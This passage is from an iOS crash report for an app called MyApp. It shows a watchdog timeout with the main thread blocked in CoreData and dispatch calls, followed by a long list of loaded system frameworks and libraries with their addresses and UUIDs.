failed to resume in time Elapsed total CPU time (seconds): 0.800 (user 0.800, system 0.000), 4% CPU Elapsed application CPU time (seconds): 0.004, 0% CPU Thread 0 name: Dispatch queue: com.apple.main-thread Thread 0: 0 libsystem_kernel.dylib 0x3b39ce98 0x3b39c000 + 3736 1 libdispatch.dylib 0x3b2d7c16 0x3b2d2000 + 23574 2 CoreData 0x330b9304 0x32f4d000 + 1491716 3 CoreData 0x330a75f6 0x32f4d000 + 1418742 4 CoreData 0x32f56a3e 0x32f4d000 + 39486 5 MyApp 0x000f17b8 0xef000 + 10168 6 MyApp 0x000f11b4 0xef000 + 8628 7 MyApp 0x000f2f2c 0xef000 + 16172 8 MyApp 0x0010c9c6 0xef000 + 121286 9 MyApp 0x0010cb3c 0xef000 + 121660 10 UIKit 0x3503e2f0 0x34fd4000 + 434928 11 UIKit 0x3505b0b0 0x34fd4000 + 553136 12 UIKit 0x3503e2f0 0x34fd4000 + 434928 13 UIKit 0x3505af64 0x34fd4000 + 552804 14 UIKit 0x3505aef0 0x34fd4000 + 552688 15 UIKit 0x34fe0a82 0x34fd4000 + 51842 16 CoreFoundation 0x3319d93e 0x33106000 + 620862 17 CoreFoundation 0x3319bc34 0x33106000 + 613428 18 CoreFoundation 0x3319bf8e 0x33106000 + 614286 19 CoreFoundation 0x3310f238 0x33106000 + 37432 20 CoreFoundation 0x3310f0c4 0x33106000 + 37060 21 GraphicsServices 0x36ced336 0x36ce8000 + 21302 22 UIKit 0x3502b2b4 0x34fd4000 + 357044 23 MyApp 0x000f0d16 0xef000 + 7446 24 MyApp 0x000f0ccc 0xef000 + 7372 Thread 1 name: Dispatch queue: com.apple.libdispatch-manager Thread 1: 0 libsystem_kernel.dylib 0x3b39d5d0 0x3b39c000 + 5584 1 libdispatch.dylib 0x3b2d8d22 0x3b2d2000 + 27938 2 libdispatch.dylib 0x3b2d4374 0x3b2d2000 + 9076 Thread 2 name: WebThread Thread 2: 0 libsystem_kernel.dylib 0x3b39ce30 0x3b39c000 + 3632 1 libsystem_kernel.dylib 0x3b39cfd0 0x3b39c000 + 4048 2 CoreFoundation 0x3319d2b6 0x33106000 + 619190 3 CoreFoundation 0x3319c02c 0x33106000 + 614444 4 CoreFoundation 0x3310f238 0x33106000 + 37432 5 CoreFoundation 0x3310f0c4 0x33106000 + 37060 6 WebCore 0x3910e390 0x39104000 + 41872 7 libsystem_c.dylib 0x3b3060de 0x3b2f5000 + 69854 8 libsystem_c.dylib 0x3b305fa4 0x3b2f5000 + 69540 Unknown thread crashed with unknown flavor: 5, state_count: 1 Binary Images: 0xef000 - 0x134fff +MyApp armv7s &lt;1c1233075bd63f039b9f71f66cc1b1d3&gt; /var/mobile/Applications/0B09C692-7C36-4398-AC77-A4217401E0FC/MyApp.app/MyApp 0x2fe7f000 - 0x2fe9ffff dyld armv7s &lt;44ac9ef7642f3ba7943f6451887d3af5&gt; /usr/lib/dyld 0x322dd000 - 0x323c3fff AVFoundation armv7s &lt;56f22385ccb73e31863f1fa9e0b621dd&gt; /System/Library/Frameworks/AVFoundation.framework/AVFoundation 0x323c4000 - 0x323c4fff Accelerate armv7s &lt;f4e8c4c464953429ab6bd3160aadd176&gt; /System/Library/Frameworks/Accelerate.framework/Accelerate 0x323c5000 - 0x32502fff vImage armv7s &lt;49d3cf19d0a23f4d836fc313e5fd6bab&gt; /System/Library/Frameworks/Accelerate.framework/Frameworks/vImage.framework/vImage 0x32503000 - 0x325effff libBLAS.dylib armv7s &lt;584e045442be39fc847ffe1a5e4c99b2&gt; /System/Library/Frameworks/Accelerate.framework/Frameworks/vecLib.framework/libBLAS.dylib 0x325f0000 - 0x328a6fff libLAPACK.dylib armv7s &lt;30a3e7dd8c603a9d81b5e42704ba5971&gt; /System/Library/Frameworks/Accelerate.framework/Frameworks/vecLib.framework/libLAPACK.dylib 0x328a7000 - 0x328fffff libvDSP.dylib armv7s &lt;936354553eb93d2dafa76ffcad65f9b7&gt; /System/Library/Frameworks/Accelerate.framework/Frameworks/vecLib.framework/libvDSP.dylib 0x32900000 - 0x32912fff libvMisc.dylib armv7s &lt;5fae8715a0403315bb1991b79677f916&gt; /System/Library/Frameworks/Accelerate.framework/Frameworks/vecLib.framework/libvMisc.dylib 0x32913000 - 0x32913fff vecLib armv7s &lt;30275ee8819331229ba21256d7b94596&gt; /System/Library/Frameworks/Accelerate.framework/Frameworks/vecLib.framework/vecLib 0x32914000 - 0x32925fff Accounts armv7s &lt;df3255c62b0239f4995bc14ea79f106b&gt; /System/Library/Frameworks/Accounts.framework/Accounts 0x32927000 - 0x3298bfff AddressBook armv7s &lt;ea949de12ca93a6a96ef80d0cb4d9231&gt; /System/Library/Frameworks/AddressBook.framework/AddressBook 0x3298c000 - 0x32a46fff AddressBookUI armv7s &lt;b25d9a6111d53dc48d8e5e9a30c362ad&gt; /System/Library/Frameworks/AddressBookUI.framework/AddressBookUI 0x32b93000 - 0x32e1cfff AudioToolbox armv7s &lt;8b8ef592d59f371783933b446a3e0e67&gt; /System/Library/Frameworks/AudioToolbox.framework/AudioToolbox 0x32e1d000 - 0x32ee2fff CFNetwork armv7s &lt;ef41814d8641319c96cdeb1264d2d150&gt; /System/Library/Frameworks/CFNetwork.framework/CFNetwork 0x32ee3000 - 0x32f39fff CoreAudio armv7s &lt;19aa715b19a93a5c8563dbc706e899be&gt; /System/Library/Frameworks/CoreAudio.framework/CoreAudio 0x32f4d000 - 0x33105fff CoreData armv7s &lt;dee36bfc0c213492983c73d7bd83a27d&gt; /System/Library/Frameworks/CoreData.framework/CoreData 0x33106000 - 0x33238fff CoreFoundation armv7s &lt;bd8e6c9f94b43e3d9af96a0f03ff3011&gt; /System/Library/Frameworks/CoreFoundation.framework/CoreFoundation 0x33239000 - 0x33372fff CoreGraphics armv7s &lt;ef057fe1c715314cabf133ec26fa718c&gt; /System/Library/Frameworks/CoreGraphics.framework/CoreGraphics 0x33374000 - 0x333affff libCGFreetype.A.dylib armv7s &lt;163d7f8309a6350399bbb1fef6cde32c&gt; /System/Library/Frameworks/CoreGraphics.framework/Resources/libCGFreetype.A.dylib 0x33593000 - 0x335aefff libRIP.A.dylib armv7s &lt;387d00a9ed55303b8936459a99869e07&gt; /System/Library/Frameworks/CoreGraphics.framework/Resources/libRIP.A.dylib 0x335af000 - 0x33664fff CoreImage armv7s &lt;7d7cd7998a113ed9b483e7dc9f388b05&gt; /System/Library/Frameworks/CoreImage.framework/CoreImage 0x33665000 - 0x336bdfff CoreLocation armv7s &lt;94c4fa04ba3c3f5e9d17d75074985ce9&gt; /System/Library/Frameworks/CoreLocation.framework/CoreLocation 0x336f2000 - 0x33757fff CoreMedia armv7s &lt;526b25ed6f4e31b790553bd80d46fec7&gt; /System/Library/Frameworks/CoreMedia.framework/CoreMedia 0x33758000 - 0x337e0fff CoreMotion armv7s &lt;d71e40c801423c9cbb31a188120a1c58&gt; /System/Library/Frameworks/CoreMotion.framework/CoreMotion 0x337e1000 - 0x33837fff CoreTelephony armv7s &lt;bdf5f32e89073773a7fdbcc87fc6b412&gt; /System/Library/Frameworks/CoreTelephony.framework/CoreTelephony 0x33838000 - 0x3389afff CoreText armv7s &lt;a01bc990cb483e828f7c3e08cd446daf&gt; /System/Library/Frameworks/CoreText.framework/CoreText 0x3389b000 - 0x338aafff CoreVideo armv7s &lt;851591a704dc344aa2fc397094b4c622&gt; /System/Library/Frameworks/CoreVideo.framework/CoreVideo 0x338ab000 - 0x3395ffff EventKit armv7s &lt;6282cd57cf6233359489a46554a5bb15&gt; /System/Library/Frameworks/EventKit.framework/EventKit 0x33a2f000 - 0x33bf2fff Foundation armv7s &lt;0f73c35ada563c0bb2ce402d282faefd&gt; /System/Library/Frameworks/Foundation.framework/Foundation 0x33dad000 - 0x33df6fff IOKit armv7s &lt;4e5e55f27bbb35bab7af348997bfac17&gt; /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit 0x33df7000 - 0x33fcffff ImageIO armv7s &lt;e04300f6e6b232ce8a02139d8f18dfdc&gt; /System/Library/Frameworks/ImageIO.framework/ImageIO 0x34049000 - 0x341e3fff MediaPlayer armv7s &lt;3328573c20643b02806559249c749793&gt; /System/Library/Frameworks/MediaPlayer.framework/MediaPlayer 0x341e4000 - 0x3445efff MediaToolbox armv7s &lt;1b36b1b41eca35989d2e822240a769cf&gt; /System/Library/Frameworks/MediaToolbox.framework/MediaToolbox 0x3445f000 - 0x344e5fff MessageUI armv7s &lt;2fbfe798afe130cba7360b49d0ad487c&gt; /System/Library/Frameworks/MessageUI.framework/MessageUI 0x344e6000 - 0x3453ffff MobileCoreServices armv7s &lt;b0d1162a8ab03529bb90e416895b568a&gt; /System/Library/Frameworks/MobileCoreServices.framework/MobileCoreServices 0x3462f000 - 0x34636fff OpenGLES armv7s &lt;c9c8f7cbfbe5397382286b878bdf143c&gt; /System/Library/Frameworks/OpenGLES.framework/OpenGLES 0x34638000 - 0x34638fff libCVMSPluginSupport.dylib armv7s &lt;b7d1ddfeb0db36d6af7293fa625b12be&gt; /System/Library/Frameworks/OpenGLES.framework/libCVMSPluginSupport.dylib 0x3463c000 - 0x3463efff libCoreVMClient.dylib armv7s &lt;8bcac434962435a895fa0b0a3a33b7a1&gt; /System/Library/Frameworks/OpenGLES.framework/libCoreVMClient.dylib 0x3463f000 - 0x34643fff libGFXShared.dylib armv7s &lt;272a9de67f6632c3aebbe2407cfe716b&gt; /System/Library/Frameworks/OpenGLES.framework/libGFXShared.dylib 0x34644000 - 0x34683fff libGLImage.dylib armv7s &lt;3a444257935236fab123e46e617c7a8d&gt; /System/Library/Frameworks/OpenGLES.framework/libGLImage.dylib 0x34d83000 - 0x34e97fff QuartzCore armv7s &lt;b28fd354be3c38a2965e6368fa35e0c7&gt; /System/Library/Frameworks/QuartzCore.framework/QuartzCore 0x34e98000 - 0x34ee4fff QuickLook armv7s &lt;2350b507fe1b3a1a94d2824e34649b36&gt; /System/Library/Frameworks/QuickLook.framework/QuickLook 0x34ee5000 - 0x34f13fff Security armv7s &lt;e1fcc8913eba360c868f51558a01cf24&gt; /System/Library/Frameworks/Security.framework/Security 0x34f92000 - 0x34fd1fff SystemConfiguration armv7s &lt;0fb8d4a2fa8f30ce837e068a046e466b&gt; /System/Library/Frameworks/SystemConfiguration.framework/SystemConfiguration 0x34fd4000 - 0x35527fff UIKit armv7s &lt;62bee9294ca13738bd7ff14365dc8561&gt; /System/Library/Frameworks/UIKit.framework/UIKit 0x35528000 - 0x35567fff VideoToolbox armv7s &lt;57487f6e3c38304ab0aa14dd16043f5c&gt; /System/Library/Frameworks/VideoToolbox.framework/VideoToolbox 0x357fd000 - 0x35809fff AccountSettings armv7s &lt;c4b7436e8ea33ffd9805905f262e4479&gt; /System/Library/PrivateFrameworks/AccountSettings.framework/AccountSettings 0x35850000 - 0x35853fff ActorKit armv7s &lt;3aa66a29d9343626baa9d63d1a6efc14&gt; /System/Library/PrivateFrameworks/ActorKit.framework/ActorKit 0x35855000 - 0x35858fff AggregateDictionary armv7s &lt;6916a617625e3800bbb75a34294f4d13&gt; /System/Library/PrivateFrameworks/AggregateDictionary.framework/AggregateDictionary 0x35941000 - 0x35954fff AirTraffic armv7s &lt;e2261ffe1d803bc6bbed23191c848bad&gt; /System/Library/PrivateFrameworks/AirTraffic.framework/AirTraffic 0x35c84000 - 0x35cbffff AppSupport armv7s &lt;7d6122cb42363dc981247c926e637a34&gt; /System/Library/PrivateFrameworks/AppSupport.framework/AppSupport 0x35cc0000 - 0x35ce4fff AppleAccount armv7s &lt;668e780f91163aaca1c36294d702ae50&gt; /System/Library/PrivateFrameworks/AppleAccount.framework/AppleAccount 0x35cf1000 - 0x35cfefff ApplePushService armv7s &lt;4638fab5719a3007beca5a798aa69e91&gt; /System/Library/PrivateFrameworks/ApplePushService.framework/ApplePushService 0x35d32000 - 0x35d3bfff AssetsLibraryServices armv7s &lt;ec78d21573a23c34b6cec05ba56928f1&gt; /System/Library/PrivateFrameworks/AssetsLibraryServices.framework/AssetsLibraryServices 0x35d6a000 - 0x35d81fff BackBoardServices armv7s &lt;36f93cef9f6830f490fe00818bcffa2e&gt; /System/Library/PrivateFrameworks/BackBoardServices.framework/BackBoardServices 0x35d8b000 - 0x35daffff Bom armv7s &lt;f35bf1c1b24a3742847383801ac37505&gt; /System/Library/PrivateFrameworks/Bom.framework/Bom 0x35e2f000 - 0x35e36fff CaptiveNetwork armv7s &lt;e308f6a4f4bf3749b56bd6ff4dd8b30a&gt; /System/Library/PrivateFrameworks/CaptiveNetwork.framework/CaptiveNetwork 0x35e37000 - 0x35f01fff Celestial armv7s &lt;a2f7438cb5163307a04d78bc2b8a86a9&gt; /System/Library/PrivateFrameworks/Celestial.framework/Celestial 0x35f0e000 - 0x35f12fff CertUI armv7s &lt;98e5a166bb473fa9b2840dfdad00580a&gt; /System/Library/PrivateFrameworks/CertUI.framework/CertUI 0x35fb8000 - 0x35fd1fff ChunkingLibrary armv7s &lt;cddc1ecde9723802ae441d20fe604c7e&gt; /System/Library/PrivateFrameworks/ChunkingLibrary.framework/ChunkingLibrary 0x35fe5000 - 0x35feafff CommonUtilities armv7s &lt;eb0b7e85b57e32f38dc498c0ee97aa7e&gt; /System/Library/PrivateFrameworks/CommonUtilities.framework/CommonUtilities 0x3606f000 - 0x3609ffff ContentIndex armv7s &lt;7a304e48f6213864820081df620939e9&gt; /System/Library/PrivateFrameworks/ContentIndex.framework/ContentIndex 0x36292000 - 0x362affff CoreServicesInternal armv7s &lt;373f1c58aee834698fb2e7b18660e870&gt; /System/Library/PrivateFrameworks/CoreServicesInternal.framework/CoreServicesInternal 0x362b0000 - 0x362b1fff CoreSurface armv7s &lt;55826212d8b4352b87d80f93bc9b25c6&gt; /System/Library/PrivateFrameworks/CoreSurface.framework/CoreSurface 0x3631e000 - 0x36323fff CrashReporterSupport armv7s &lt;3b190badb14f3771b353fcd829719c80&gt; /System/Library/PrivateFrameworks/CrashReporterSupport.framework/CrashReporterSupport 0x36324000 - 0x36360fff DataAccess armv7s &lt;7dcaa9fce0213cbead487fcd0980bd59&gt; /System/Library/PrivateFrameworks/DataAccess.framework/DataAccess 0x364f5000 - 0x36507fff DataAccessExpress armv7s &lt;05ed021492f2394f9d43216d8b963665&gt; /System/Library/PrivateFrameworks/DataAccessExpress.framework/DataAccessExpress 0x36546000 - 0x36547fff DataMigration armv7s &lt;5e7169ad01853bd0ba0f66648a67a010&gt; /System/Library/PrivateFrameworks/DataMigration.framework/DataMigration 0x3654a000 - 0x36563fff DictionaryServices armv7s &lt;27298e235f2c35938e1033517b1196a7&gt; /System/Library/PrivateFrameworks/DictionaryServices.framework/DictionaryServices 0x3656b000 - 0x36583fff EAP8021X armv7s &lt;bff91efbc6ba369089b699bb50191905&gt; /System/Library/PrivateFrameworks/EAP8021X.framework/EAP8021X 0x36592000 - 0x36596fff FTClientServices armv7s &lt;c158c4281a2e31d7913d9f8b0fb4417c&gt; /System/Library/PrivateFrameworks/FTClientServices.framework/FTClientServices 0x36597000 - 0x365d5fff FTServices armv7s &lt;71ca9253aee730eca6c4ca3210861a2c&gt; /System/Library/PrivateFrameworks/FTServices.framework/FTServices 0x365d6000 - 0x369e9fff FaceCoreLight armv7s &lt;432cbaeb84743441b9286532bc36c96d&gt; /System/Library/PrivateFrameworks/FaceCoreLight.framework/FaceCoreLight 0x36be1000 - 0x36bedfff GenerationalStorage armv7s &lt;4e1afa8de682332ba6a042a6000c636e&gt; /System/Library/PrivateFrameworks/GenerationalStorage.framework/GenerationalStorage 0x36bee000 - 0x36ce7fff GeoServices armv7s &lt;f2a20efae86a30cb8210550de0280ce7&gt; /System/Library/PrivateFrameworks/GeoServices.framework/GeoServices 0x36ce8000 - 0x36cf3fff GraphicsServices armv7s &lt;44b33c403523309c9e930818c7fced34&gt; /System/Library/PrivateFrameworks/GraphicsServices.framework/GraphicsServices 0x36d62000 - 0x36dddfff HomeSharing armv7s &lt;137c1fbc6a843d369038348255635111&gt; /System/Library/PrivateFrameworks/HomeSharing.framework/HomeSharing 0x36dde000 - 0x36de8fff IAP armv7s &lt;f43af100e43c3d1fac19a86cb7665c18&gt; /System/Library/PrivateFrameworks/IAP.framework/IAP 0x36ea0000 - 0x36f18fff IMCore armv7s &lt;a212f1303a4f3d47aaf21078f172e4bf&gt; /System/Library/PrivateFrameworks/IMCore.framework/IMCore 0x36fdf000 - 0x3702bfff IMFoundation armv7s &lt;55151f53b10934c3a5faac54e354f3f1&gt; /System/Library/PrivateFrameworks/IMFoundation.framework/IMFoundation 0x37032000 - 0x37033fff IOAccelerator armv7s &lt;832913083f7f347fba1340263ff13b52&gt; /System/Library/PrivateFrameworks/IOAccelerator.framework/IOAccelerator 0x37034000 - 0x37039fff IOMobileFramebuffer armv7s &lt;828a36a2325738bb8f2d4b97730d253a&gt; /System/Library/PrivateFrameworks/IOMobileFramebuffer.framework/IOMobileFramebuffer 0x3703a000 - 0x3703efff IOSurface armv7s &lt;9925fbc4a08d3a17b72ac807cbbba8ba&gt; /System/Library/PrivateFrameworks/IOSurface.framework/IOSurface 0x37088000 - 0x3722ffff JavaScriptCore armv7s &lt;f7be721eee903a93a7de361e5627445e&gt; /System/Library/PrivateFrameworks/JavaScriptCore.framework/JavaScriptCore 0x37255000 - 0x3725ffff Librarian armv7s &lt;24168aa764823064a5b151a56a413c8d&gt; /System/Library/PrivateFrameworks/Librarian.framework/Librarian 0x37260000 - 0x37296fff MIME armv7s &lt;3f8dc502266237c6809c4d33b6e359ad&gt; /System/Library/PrivateFrameworks/MIME.framework/MIME 0x372d5000 - 0x372dffff MailServices armv7s &lt;737ace3c1c7c3ec6923095f3beadb4b2&gt; /System/Library/PrivateFrameworks/MailServices.framework/MailServices 0x372fb000 - 0x37353fff ManagedConfiguration armv7s &lt;b147c2d6f0283d988099706a2a404280&gt; /System/Library/PrivateFrameworks/ManagedConfiguration.framework/ManagedConfiguration 0x37354000 - 0x37359fff Marco armv7s &lt;53ab26b3197135a781d55819fd80f032&gt; /System/Library/PrivateFrameworks/Marco.framework/Marco 0x3736a000 - 0x373e0fff MediaControlSender armv7s &lt;29ff7ec2b02d36ec8bf6db33c3a4ba8e&gt; /System/Library/PrivateFrameworks/MediaControlSender.framework/MediaControlSender 0x373e1000 - 0x373eafff MediaRemote armv7s &lt;0dc7c7c324d33af8b2f7d57f41123de9&gt; /System/Library/PrivateFrameworks/MediaRemote.framework/MediaRemote 0x3745d000 - 0x37516fff Message armv7s &lt;9ebc49dae1293bf8bbad64153932c756&gt; /System/Library/PrivateFrameworks/Message.framework/Message 0x3751f000 - 0x37521fff MessageSupport armv7s &lt;874f2566017b3931b4595c63d6f77098&gt; /System/Library/PrivateFrameworks/MessageSupport.framework/MessageSupport 0x3752a000 - 0x37557fff MobileAsset armv7s &lt;e3217ead58d5390395de360b3ca3a10a&gt; /System/Library/PrivateFrameworks/MobileAsset.framework/MobileAsset 0x37584000 - 0x37593fff MobileDeviceLink armv7s &lt;ed43d4db46a43db0976eeac5f3bc77a1&gt; /System/Library/PrivateFrameworks/MobileDeviceLink.framework/MobileDeviceLink 0x3759c000 - 0x3759ffff MobileInstallation armv7s &lt;7cbe167946123bbea56ae58208e09762&gt; /System/Library/PrivateFrameworks/MobileInstallation.framework/MobileInstallation 0x375a0000 - 0x375a6fff MobileKeyBag armv7s &lt;5c7d50e11eb537ae89ea12cb7ddd3935&gt; /System/Library/PrivateFrameworks/MobileKeyBag.framework/MobileKeyBag 0x375df000 - 0x37602fff MobileSync armv7s &lt;8ea08ca56ead3d77bba046811a917f79&gt; /System/Library/PrivateFrameworks/MobileSync.framework/MobileSync 0x37603000 - 0x37606fff MobileSystemServices armv7s &lt;5796fff2895f38e4b0f844269d4fbae5&gt; /System/Library/PrivateFrameworks/MobileSystemServices.framework/MobileSystemServices 0x3761e000 - 0x37627fff MobileWiFi armv7s &lt;e9ae11c07476390d9598c861658cee7d&gt; /System/Library/PrivateFrameworks/MobileWiFi.framework/MobileWiFi 0x37641000 - 0x37785fff MusicLibrary armv7s &lt;057b076c74fd31b590bccc9b64d7f5cb&gt; /System/Library/PrivateFrameworks/MusicLibrary.framework/MusicLibrary 0x3779d000 - 0x377b6fff Notes armv7s &lt;de760fe287ee3346b61c4f4e701278f3&gt; /System/Library/PrivateFrameworks/Notes.framework/Notes 0x377b7000 - 0x377b9fff OAuth armv7s &lt;8e91174312e43ca9ac07d91d16b32d15&gt; /System/Library/PrivateFrameworks/OAuth.framework/OAuth 0x37ede000 - 0x37f02fff OpenCL armv7s &lt;87637dacbb3c3e029120369438e96fcf&gt; /System/Library/PrivateFrameworks/OpenCL.framework/OpenCL 0x38264000 - 0x38281fff PersistentConnection armv7s &lt;c5164e016fa6340fbce9251278385105&gt; /System/Library/PrivateFrameworks/PersistentConnection.framework/PersistentConnection 0x38517000 - 0x3853ffff PrintKit armv7s &lt;7109f645a9ca3a4997b4172aed228723&gt; /System/Library/PrivateFrameworks/PrintKit.framework/PrintKit 0x38540000 - 0x385b4fff ProofReader armv7s &lt;e391e8d141c5352d978e5fde23afaaad&gt; /System/Library/PrivateFrameworks/ProofReader.framework/ProofReader 0x385b5000 - 0x385bdfff ProtocolBuffer armv7s &lt;edc3f72bf38c3d81954ac85f489a17e8&gt; /System/Library/PrivateFrameworks/ProtocolBuffer.framework/ProtocolBuffer 0x386f9000 - 0x3870afff SpringBoardServices armv7s &lt;5b94e9a529753052acde16c21e9d2566&gt; /System/Library/PrivateFrameworks/SpringBoardServices.framework/SpringBoardServices 0x3876c000 - 0x38847fff StoreServices armv7s &lt;e465f24460ff3764b4fc95ebd44b2fe3&gt; /System/Library/PrivateFrameworks/StoreServices.framework/StoreServices 0x38895000 - 0x38897fff TCC armv7s &lt;95c2aa492cc03862bd7bbfae6fa62b1b&gt; /System/Library/PrivateFrameworks/TCC.framework/TCC 0x388b6000 - 0x388c3fff TelephonyUtilities armv7s &lt;aa759d908b903f978ab6803b7947e524&gt; /System/Library/PrivateFrameworks/TelephonyUtilities.framework/TelephonyUtilities 0x38d48000 - 0x38de8fff UIFoundation armv7s &lt;e3a40cee28653c4485a4918016ff2b8e&gt; /System/Library/PrivateFrameworks/UIFoundation.framework/UIFoundation 0x38de9000 - 0x38e01fff Ubiquity armv7s &lt;99c7f2772cd63700aae2671b0b153cfe&gt; /System/Library/PrivateFrameworks/Ubiquity.framework/Ubiquity 0x390e4000 - 0x39103fff WebBookmarks armv7s &lt;ab55332c13da33fd825ea6204338fe19&gt; /System/Library/PrivateFrameworks/WebBookmarks.framework/WebBookmarks 0x39104000 - 0x39a34fff WebCore armv7s &lt;f99b83bec11b331ab69194120917a7df&gt; /System/Library/PrivateFrameworks/WebCore.framework/WebCore 0x39a35000 - 0x39b11fff WebKit armv7s &lt;02c32fdddbdc39b1848b721658a2fa51&gt; /System/Library/PrivateFrameworks/WebKit.framework/WebKit 0x39bbc000 - 0x39bc3fff XPCObjects armv7s &lt;e6846a96a21d382f9fffd6a4536c0aa7&gt; /System/Library/PrivateFrameworks/XPCObjects.framework/XPCObjects 0x39d16000 - 0x39d51fff iCalendar armv7s &lt;bcc081bffdae3daea0f7d7db18ed80e8&gt; /System/Library/PrivateFrameworks/iCalendar.framework/iCalendar 0x39e67000 - 0x39e9ffff iTunesStore armv7s &lt;10c8c7e5c9f43f75af5b30fc2389c1a2&gt; /System/Library/PrivateFrameworks/iTunesStore.framework/iTunesStore 0x3a72d000 - 0x3a733fff libAccessibility.dylib armv7s &lt;9111bc894a4f3ef683f5ef4d699a861b&gt; /usr/lib/libAccessibility.dylib 0x3a734000 - 0x3a74afff libCRFSuite.dylib armv7s &lt;770ebb2f7d9a35749e6da5d1980c244f&gt; /usr/lib/libCRFSuite.dylib 0x3a762000 - 0x3a76efff libMobileGestalt.dylib armv7s &lt;efddaaea8d87321a80d4a6d3f9607a80&gt; /usr/lib/libMobileGestalt.dylib 0x3a780000 - 0x3a780fff libSystem.B.dylib armv7s &lt;12daef214fd234158028c97c22dc5cca&gt; /usr/lib/libSystem.B.dylib 0x3a8a2000 - 0x3a8aefff libbsm.0.dylib armv7s &lt;0f4a8d65b05a364abca1a97e2ae72cb5&gt; /usr/lib/libbsm.0.dylib 0x3a8af000 - 0x3a8b8fff libbz2.1.0.dylib armv7s &lt;f54b70863d9c3751bb59253b1cb4c706&gt; /usr/lib/libbz2.1.0.dylib 0x3a8b9000 - 0x3a904fff libc++.1.dylib armv7s &lt;3beff5a5233b3f51ab2fc748b68e9519&gt; /usr/lib/libc++.1.dylib 0x3a905000 - 0x3a918fff libc++abi.dylib armv7s &lt;f47a5c7bc24c3e4fa73f11b61af635da&gt; /usr/lib/libc++abi.dylib 0x3a949000 - 0x3aa36fff libiconv.2.dylib armv7s &lt;81d6972465103fa3b85b4125f0ad33f1&gt; /usr/lib/libiconv.2.dylib 0x3aa37000 - 0x3ab80fff libicucore.A.dylib armv7s &lt;642482cfc34a3a3b97bd731258dcdc6a&gt; /usr/lib/libicucore.A.dylib 0x3ab88000 - 0x3ab88fff liblangid.dylib armv7s &lt;ffb53baa33ba3642a55737311f17a672&gt; /usr/lib/liblangid.dylib 0x3ab8b000 - 0x3ab92fff liblockdown.dylib armv7s &lt;dbd4f278c71b3f219da3e895b1f6ac80&gt; /usr/lib/liblockdown.dylib 0x3ae73000 - 0x3ae88fff libmis.dylib armv7s &lt;8f0712b99e8e3f5e998f0240f75bb5ba&gt; /usr/lib/libmis.dylib 0x3aeb1000 - 0x3afaffff libobjc.A.dylib armv7s &lt;1d499765d38c3c8fa92b363f529a02dd&gt; /usr/lib/libobjc.A.dylib 0x3b073000 - 0x3b088fff libresolv.9.dylib armv7s &lt;3f7be9d397d63b8e931d21bd5f49b0eb&gt; /usr/lib/libresolv.9.dylib 0x3b0ad000 - 0x3b133fff libsqlite3.dylib armv7s &lt;758898189dca32a5a19e5200b8952110&gt; /usr/lib/libsqlite3.dylib 0x3b134000 - 0x3b180fff libstdc++.6.dylib armv7s &lt;249e8ca1717b370287bb556bbd96e303&gt; /usr/lib/libstdc++.6.dylib 0x3b181000 - 0x3b1a7fff libtidy.A.dylib armv7s &lt;96b463f0ffa0344699fce4d48aa623bc&gt; /usr/lib/libtidy.A.dylib 0x3b1ab000 - 0x3b258fff libxml2.2.dylib armv7s &lt;e87724e212573773a60bc56815cec706&gt; /usr/lib/libxml2.2.dylib 0x3b259000 - 0x3b279fff libxslt.1.dylib armv7s &lt;c52fbe01ce7b35c799630e97e8f1318b&gt; /usr/lib/libxslt.1.dylib 0x3b27a000 - 0x3b286fff libz.1.dylib armv7s &lt;b64a5c1989ba3ba4aafae83d841f9496&gt; /usr/lib/libz.1.dylib 0x3b287000 - 0x3b28afff libcache.dylib armv7s &lt;911ce99a94623ef1ae1ea786055fd558&gt; /usr/lib/system/libcache.dylib 0x3b28b000 - 0x3b291fff libcommonCrypto.dylib armv7s &lt;33140a5fa3fb3e5e8c6bb19bc0e21c5c&gt; /usr/lib/system/libcommonCrypto.dylib 0x3b292000 - 0x3b294fff libcompiler_rt.dylib armv7s &lt;cd17f0ee3dbc38f99910d12a6056bf5a&gt; /usr/lib/system/libcompiler_rt.dylib 0x3b295000 - 0x3b29afff libcopyfile.dylib armv7s &lt;5e733170766430eeaa4e7784e3c7555c&gt; /usr/lib/system/libcopyfile.dylib 0x3b29b000 - 0x3b2d1fff libcorecrypto.dylib armv7s &lt;a15c807dcb003ad69810546a578774d9&gt; /usr/lib/system/libcorecrypto.dylib 0x3b2d2000 - 0x3b2e2fff libdispatch.dylib armv7s &lt;247a388103633e17b24be038eac612c0&gt; /usr/lib/system/libdispatch.dylib 0x3b2e3000 - 0x3b2e4fff libdnsinfo.dylib armv7s &lt;f873dd712561350096b9452bf1fc4078&gt; /usr/lib/system/libdnsinfo.dylib 0x3b2e5000 - 0x3b2e6fff libdyld.dylib armv7s &lt;15676e2ee1423f598907ff49fcede85b&gt; /usr/lib/system/libdyld.dylib 0x3b2e7000 - 0x3b2e7fff libkeymgr.dylib armv7s &lt;b0a1a911d4853feba44133e9ce499bc9&gt; /usr/lib/system/libkeymgr.dylib 0x3b2e8000 - 0x3b2edfff liblaunch.dylib armv7s &lt;69dd64aba1413e75967cd4ad0afa2c15&gt; /usr/lib/system/liblaunch.dylib 0x3b2ee000 - 0x3b2f1fff libmacho.dylib armv7s &lt;5905b311c6fb376388e56a991bb3193d&gt; /usr/lib/system/libmacho.dylib 0x3b2f2000 - 0x3b2f3fff libremovefile.dylib armv7s &lt;b40e964d7c563296b38625bc7082d6a8&gt; /usr/lib/system/libremovefile.dylib 0x3b2f4000 - 0x3b2f4fff libsystem_blocks.dylib armv7s &lt;77a9976b82b73796a0bbc9783929a1e7&gt; /usr/lib/system/libsystem_blocks.dylib 0x3b2f5000 - 0x3b37bfff libsystem_c.dylib armv7s &lt;11bcf1060ec63c8b909a452e6f79be08&gt; /usr/lib/system/libsystem_c.dylib 0x3b37c000 - 0x3b382fff libsystem_dnssd.dylib armv7s &lt;94fab309ed9b35cdbc075cdda221bc70&gt; /usr/lib/system/libsystem_dnssd.dylib 0x3b383000 - 0x3b39bfff libsystem_info.dylib armv7s &lt;195d8eeb7c3f31bd916c0b5611abc0e7&gt; /usr/lib/system/libsystem_info.dylib 0x3b39c000 - 0x3b3b2fff libsystem_kernel.dylib armv7s &lt;79bea3ebfda132baba8f5b0ad6ab95f5&gt; /usr/lib/system/libsystem_kernel.dylib 0x3b3b3000 - 0x3b3cffff libsystem_m.dylib armv7s &lt;faafc8292d4935c4a78233e1d0879e13&gt; /usr/lib/system/libsystem_m.dylib 0x3b3d0000 - 0x3b3defff libsystem_network.dylib armv7s &lt;137f48e279a83d7496659c8e3d3729d4&gt; 